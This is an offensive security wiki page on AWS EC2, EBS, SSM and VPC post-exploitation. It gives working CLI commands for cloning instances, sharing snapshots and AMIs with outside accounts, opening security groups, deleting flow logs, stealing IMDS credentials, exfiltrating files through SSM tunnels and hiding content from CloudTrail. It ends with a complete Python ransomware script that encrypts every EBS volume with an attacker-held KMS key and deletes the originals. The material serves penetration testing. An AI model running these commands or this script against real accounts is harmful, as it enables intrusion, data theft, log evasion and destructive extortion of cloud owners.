# AWS - EC2, EBS, SSM & VPC Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## EC2 & VPC

For more information check:

{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}

### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`

VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** without the need to install anything on the instances themselves. This duplicated traffic would commonly be sent to something like a network intrusion detection system (IDS) for analysis and monitoring.\
An attacker could abuse this to capture all the traffic and obtain sensitive information from it:

For more information check this page:

{{#ref}}
aws-malicious-vpc-mirror.md
{{#endref}}

### Copy Running Instance

Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**:

```shell
# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
```

### EBS Snapshot dump

**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\
If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account:

{{#ref}}
aws-ebs-snapshot-dump.md
{{#endref}}

### Covert Disk Exfiltration via AMI Store-to-S3

Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. This allows full offline forensics or data theft while leaving the instance networking untouched.

{{#ref}}
aws-ami-store-s3-exfiltration.md
{{#endref}}

### Live Data Theft via EBS Multi-Attach

Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Useful when the victim volume already has Multi-Attach enabled within the same AZ.

{{#ref}}
aws-ebs-multi-attach-data-theft.md
{{#endref}}

### EC2 Instance Connect Endpoint Backdoor

Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Grants quick lateral movement paths without opening public ports.

{{#ref}}
aws-ec2-instance-connect-endpoint-backdoor.md
{{#endref}}

### EC2 ENI Secondary Private IP Hijack

Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Enables bypassing internal ACLs or SG rules keyed to specific addresses.

{{#ref}}
aws-eni-secondary-ip-hijack.md
{{#endref}}

### Elastic IP Hijack for Ingress/Egress Impersonation

Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs.

{{#ref}}
aws-eip-hijack-impersonation.md
{{#endref}}

### Security Group Backdoor via Managed Prefix Lists

If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.

{{#ref}}
aws-managed-prefix-list-backdoor.md
{{#endref}}

### VPC Endpoint Egress Bypass

Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration.

{{#ref}}
aws-vpc-endpoint-egress-bypass.md
{{#endref}}

### `ec2:AuthorizeSecurityGroupIngress`

An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks.

```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
```

# `ec2:ReplaceNetworkAclEntry`
An attacker with ec2:ReplaceNetworkAclEntry (or similar) permissions can modify a subnet’s Network ACLs (NACLs) to make them very permissive — for example allowing 0.0.0.0/0 on critical ports — exposing the entire subnet range to the Internet or to unauthorized network segments. Unlike Security Groups, which are applied per-instance, NACLs are applied at the subnet level, so changing a restrictive NACL can have a much larger blast radius by enabling access to many more hosts.

```bash
aws ec2 replace-network-acl-entry \
  --network-acl-id <ACL_ID> \
  --rule-number 100 \
  --protocol <PROTOCOL> \
  --rule-action allow \
  --egress <true|false> \
  --cidr-block 0.0.0.0/0
```

### `ec2:Delete*`

An attacker with ec2:Delete* and iam:Remove* permissions can delete critical infrastructure resources and configurations — for example key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. This can cause immediate service disruption, data loss, and loss of forensic evidence.

One example is deleting a security group:

aws ec2 delete-security-group \
  --group-id <SECURITY_GROUP_ID>

### VPC Flow Logs Cross-Account Exfiltration

Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.

{{#ref}}
aws-vpc-flow-logs-cross-account-exfiltration.md
{{#endref}}

### Data Exfiltration

#### DNS Exfiltration

Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.

- **VPC Flow Logs will not record this**.
- You have no access to AWS DNS logs.
- Disable this by setting "enableDnsSupport" to false with:

  `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`

#### Exfiltration via API calls

An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs.

### Open Security Group

You could get further access to network services by opening ports like this:

```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
```

### Privesc to ECS

It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.

For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).

### ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)

On ECS with the EC2 launch type, the control plane assumes each task role and pushes the temporary credentials down to the ECS agent over the Agent Communication Service (ACS) WebSocket channel. The agent then serves those credentials to containers via the task metadata endpoint (169.254.170.2). The ECScape research shows that if a container can reach IMDS and steal the **instance profile**, it can impersonate the agent over ACS and receive **every task role credential** on that host, including **task execution role** credentials that are not exposed via the metadata endpoint.

#### Attack chain

1. **Steal the container instance role from IMDS.** IMDS access is required to obtain the host role used by the ECS agent.

   ```bash
   TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
   curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
     http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
   ```
2. **Discover the ACS poll endpoint and required identifiers.** Using the instance role credentials, call `ecs:DiscoverPollEndpoint` to obtain the ACS endpoint and gather identifiers such as the cluster ARN and container instance ARN. The cluster ARN is exposed via task metadata (169.254.170.2/v4/), while the container instance ARN can be obtained via the agent introspection API or (if allowed) `ecs:ListContainerInstances`.
3. **Impersonate the ECS agent over ACS.** Initiate a SigV4-signed WebSocket to the poll endpoint and include `sendCredentials=true`. ECS accepts the connection as a valid agent session and begins streaming `IamRoleCredentials` messages for **all** tasks on the instance. This includes task execution role credentials, which can unlock ECR pulls, Secrets Manager retrievals, or CloudWatch Logs access.

**Find the PoC in <https://github.com/naorhaziz/ecscape>**

#### IMDS reachability with IMDSv2 + hop limit 1

Setting IMDSv2 with `HttpTokens=required` and `HttpPutResponseHopLimit=1` only blocks tasks that live behind an extra hop (Docker bridge). Other networking modes stay within one hop of the Nitro controller and still receive responses:

| ECS network mode | IMDS reachable? | Reason |
| --- | --- | --- |
| `awsvpc` | ✅ | Each task gets its own ENI that is still one hop away from IMDS, so tokens and metadata responses arrive successfully. |
| `host` | ✅ | Tasks share the host namespace, so they see the same hop distance as the EC2 instance. |
| `bridge` | ❌ | Responses die on the Docker bridge because that extra hop exhausts the hop limit. |

Therefore, **never assume hop limit 1 protects awsvpc or host-mode workloads**—always test from inside your containers.

#### Detecting IMDS blocks per network mode

- **awsvpc tasks:** Security groups, NACLs, or routing tweaks cannot block the link-local 169.254.169.254 address because Nitro injects it on-host. Check `/etc/ecs/ecs.config` for `ECS_AWSVPC_BLOCK_IMDS=true`. If the flag is missing (default) you can curl IMDS directly from the task. If it is set, pivot into the host/agent namespace to flip it back or execute your tooling outside awsvpc.

- **bridge mode:** When metadata requests fail even though hop limit 1 is configured, defenders probably inserted a `DOCKER-USER` drop rule such as `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Listing `iptables -S DOCKER-USER` exposes it, and root access lets you delete or reorder the rule before querying IMDS.

- **host mode:** Inspect the agent configuration for `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. That setting removes task IAM roles entirely, so you must either re-enable it, move to awsvpc tasks, or steal credentials through another process on the host. When the value is `true` (default), every host-mode process—including compromised containers—can hit IMDS unless bespoke eBPF/cgroup filters target `169.254.169.254`; look for tc/eBPF programs or iptables rules referencing that address.

Latacora even released [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) you can drop into a target account to enumerate which network modes still expose metadata and plan your next hop accordingly.

Once you understand which modes expose IMDS you can plan your post-exploitation path: target any ECS task, request the instance profile, impersonate the agent, and harvest every other task role for lateral movement or persistence inside the cluster.

### Remove VPC flow logs

```bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
```

### SSM Port Forwarding

Required permissions:

- `ssm:StartSession`

In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs.
One of the scenarios where this is useful is pivoting from a [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) to a private EKS cluster.

> In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

1. Install the SessionManagerPlugin on your machine
2. Log in to the Bastion EC2 using the following command:

```shell
aws ssm start-session --target "$INSTANCE_ID"
```

3. Get the Bastion EC2 AWS temporary credentials with the [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
4. Transfer the credentials to your own machine in the `$HOME/.aws/credentials` file as `[bastion-ec2]` profile
5. Log in to EKS as the Bastion EC2:

```shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
```

6. Update the `server` field in `$HOME/.kube/config` file to point to `https://localhost`
7. Create an SSM tunnel as follows:

```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
```

8. The traffic from the `kubectl` tool is now forwarded throug the SSM tunnel via the Bastion EC2 and you can access the private EKS cluster from your own machine by running:

```shell
kubectl get pods --insecure-skip-tls-verify
```

Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.

Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application.

---

#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)

If you only need to forward **one TCP port from the EC2 instance to your local host** you can use the `AWS-StartPortForwardingSession` SSM document (no remote host parameter required):

```bash
aws ssm start-session --target i-0123456789abcdef0 \
  --document-name AWS-StartPortForwardingSession \
  --parameters "portNumber"="8000","localPortNumber"="8000" \
  --region <REGION>
```

The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**.

Common use cases:

* **File exfiltration**
  1. On the instance start a quick HTTP server that points to the directory you want to exfiltrate:

     ```bash
     python3 -m http.server 8000
     ```

  2. From your workstation fetch the files through the SSM tunnel:

     ```bash
     curl http://localhost:8000/loot.txt -o loot.txt
     ```

* **Accessing internal web applications (e.g. Nessus)**

```bash
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
  --document-name AWS-StartPortForwardingSession \
  --parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
```

Tip: Compress and encrypt evidence before exfiltrating it so that CloudTrail does not log the clear-text content:

```bash
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
```


### Share AMI

```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```

### Search sensitive information in public and private AMIs

- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is a tool designed to **search for sensitive information within public or private Amazon Machine Images (AMIs)**. It automates the process of launching instances from target AMIs, mounting their volumes, and scanning for potential secrets or sensitive data.

### Share EBS Snapshot

```bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```

### EBS Ransomware PoC

A proof of concept similar to the Ransomware demonstration demonstrated in the S3 post-exploitation notes. KMS should be renamed to RMS for Ransomware Management Service with how easy it is to use to encrypt various AWS services using it.

First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption'

```
{
    "Version": "2012-10-17",
    "Id": "key-consolepolicy-3",
    "Statement": [
        {
            "Sid": "Enable IAM User Permissions",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::[Your AWS Account Id]:root"
            },
            "Action": "kms:*",
            "Resource": "*"
        },
        {
            "Sid": "Allow access for Key Administrators",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
            },
            "Action": [
                "kms:Create*",
                "kms:Describe*",
                "kms:Enable*",
                "kms:List*",
                "kms:Put*",
                "kms:Update*",
                "kms:Revoke*",
                "kms:Disable*",
                "kms:Get*",
                "kms:Delete*",
                "kms:TagResource",
                "kms:UntagResource",
                "kms:ScheduleKeyDeletion",
                "kms:CancelKeyDeletion"
            ],
            "Resource": "*"
        },
        {
            "Sid": "Allow use of the key",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
            },
            "Action": [
                "kms:Encrypt",
                "kms:Decrypt",
                "kms:ReEncrypt*",
                "kms:GenerateDataKey*",
                "kms:DescribeKey"
            ],
            "Resource": "*"
        },
        {
            "Sid": "Outside Encryption",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": [
                "kms:Encrypt",
                "kms:Decrypt",
                "kms:ReEncrypt*",
                "kms:GenerateDataKey*",
                "kms:DescribeKey",
                "kms:GenerateDataKeyWithoutPlainText",
                "kms:CreateGrant"
            ],
            "Resource": "*"
        },
        {
            "Sid": "Allow attachment of persistent resources",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
            },
            "Action": [
                "kms:CreateGrant",
                "kms:ListGrants",
                "kms:RevokeGrant"
            ],
            "Resource": "*",
            "Condition": {
                "Bool": {
                    "kms:GrantIsForAWSResource": "true"
                }
            }
        }
    ]
}
```

The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:

- `kms:CreateGrant`
- `kms:Decrypt`
- `kms:DescribeKey`
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`

Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.

![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)

Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)

This results in only encrypted EBS volumes left available in the account.

![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)

Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now.

![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)

Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy.

```json
{
  "Version": "2012-10-17",
  "Id": "key-consolepolicy-3",
  "Statement": [
    {
      "Sid": "Enable IAM User Permissions",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::[Your AWS Account Id]:root"
      },
      "Action": "kms:*",
      "Resource": "*"
    },
    {
      "Sid": "Allow access for Key Administrators",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
      },
      "Action": [
        "kms:Create*",
        "kms:Describe*",
        "kms:Enable*",
        "kms:List*",
        "kms:Put*",
        "kms:Update*",
        "kms:Revoke*",
        "kms:Disable*",
        "kms:Get*",
        "kms:Delete*",
        "kms:TagResource",
        "kms:UntagResource",
        "kms:ScheduleKeyDeletion",
        "kms:CancelKeyDeletion"
      ],
      "Resource": "*"
    },
    {
      "Sid": "Allow use of the key",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
      },
      "Action": [
        "kms:Encrypt",
        "kms:Decrypt",
        "kms:ReEncrypt*",
        "kms:GenerateDataKey*",
        "kms:DescribeKey"
      ],
      "Resource": "*"
    },
    {
      "Sid": "Allow attachment of persistent resources",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
      },
      "Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
      "Resource": "*",
      "Condition": {
        "Bool": {
          "kms:GrantIsForAWSResource": "true"
        }
      }
    }
  ]
}
```

Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume.

![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)

But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it.

![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)

This the python script used. It takes AWS creds for a 'victim' account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted 'victim' account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day.

```
import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
    instances = ec2_client.describe_instances()
    instance_volumes = {}
    for reservation in instances['Reservations']:
        for instance in reservation['Instances']:
            instance_id = instance['InstanceId']
            volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
            instance_volumes[instance_id] = volumes
    return instance_volumes

def snapshot_volumes(ec2_client, volumes):
    snapshot_ids = []
    for volume_id in volumes:
        snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
        snapshot_ids.append(snapshot['SnapshotId'])
    return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
    for snapshot_id in snapshot_ids:
        ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
    new_volume_ids = []
    for snapshot_id in snapshot_ids:
        snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
        volume_id = snapshot_info['VolumeId']
        volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
        availability_zone = volume_info['AvailabilityZone']

        volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
                                          Encrypted=True, KmsKeyId=kms_key_arn)
        new_volume_ids.append(volume['VolumeId'])
    return new_volume_ids

def stop_instances(ec2_client, instance_ids):
    for instance_id in instance_ids:
        try:
            instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
            instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

            if instance_state == 'running':
                ec2_client.stop_instances(InstanceIds=[instance_id])
                print(f"Stopping instance: {instance_id}")
                ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
                print(f"Instance {instance_id} stopped.")
            else:
                print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

        except ClientError as e:
            print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
    for volume_id in volumes:
        try:
            ec2_client.detach_volume(VolumeId=volume_id)
            ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
            ec2_client.delete_volume(VolumeId=volume_id)
            print(f"Deleted volume: {volume_id}")
        except ClientError as e:
            print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
    for snapshot_id in snapshot_ids:
        try:
            ec2_client.delete_snapshot(SnapshotId=snapshot_id)
            print(f"Deleted snapshot: {snapshot_id}")
        except ClientError as e:
            print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
    instance_ids = list(instance_volumes.keys())
    stop_instances(ec2_client, instance_ids)

    all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
    detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
    ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

    instance_volumes = enumerate_ec2_instances(ec2_client)
    all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
    snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
    wait_for_snapshots(ec2_client, snapshot_ids)
    create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
    replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
    delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
    parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
    parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
    parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
    parser.add_argument('--region', required=True, help='AWS Region')
    parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
    return parser.parse_args()

def main():
    args = parse_arguments()
    ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

    instance_volumes = enumerate_ec2_instances(ec2_client)
    all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
    snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
    wait_for_snapshots(ec2_client, snapshot_ids)
    create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
    replace_volumes(ec2_client, instance_volumes)
    delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
    main()
```

## References

- <https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs>
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)


{{#include ../../../../banners/hacktricks-training.md}}


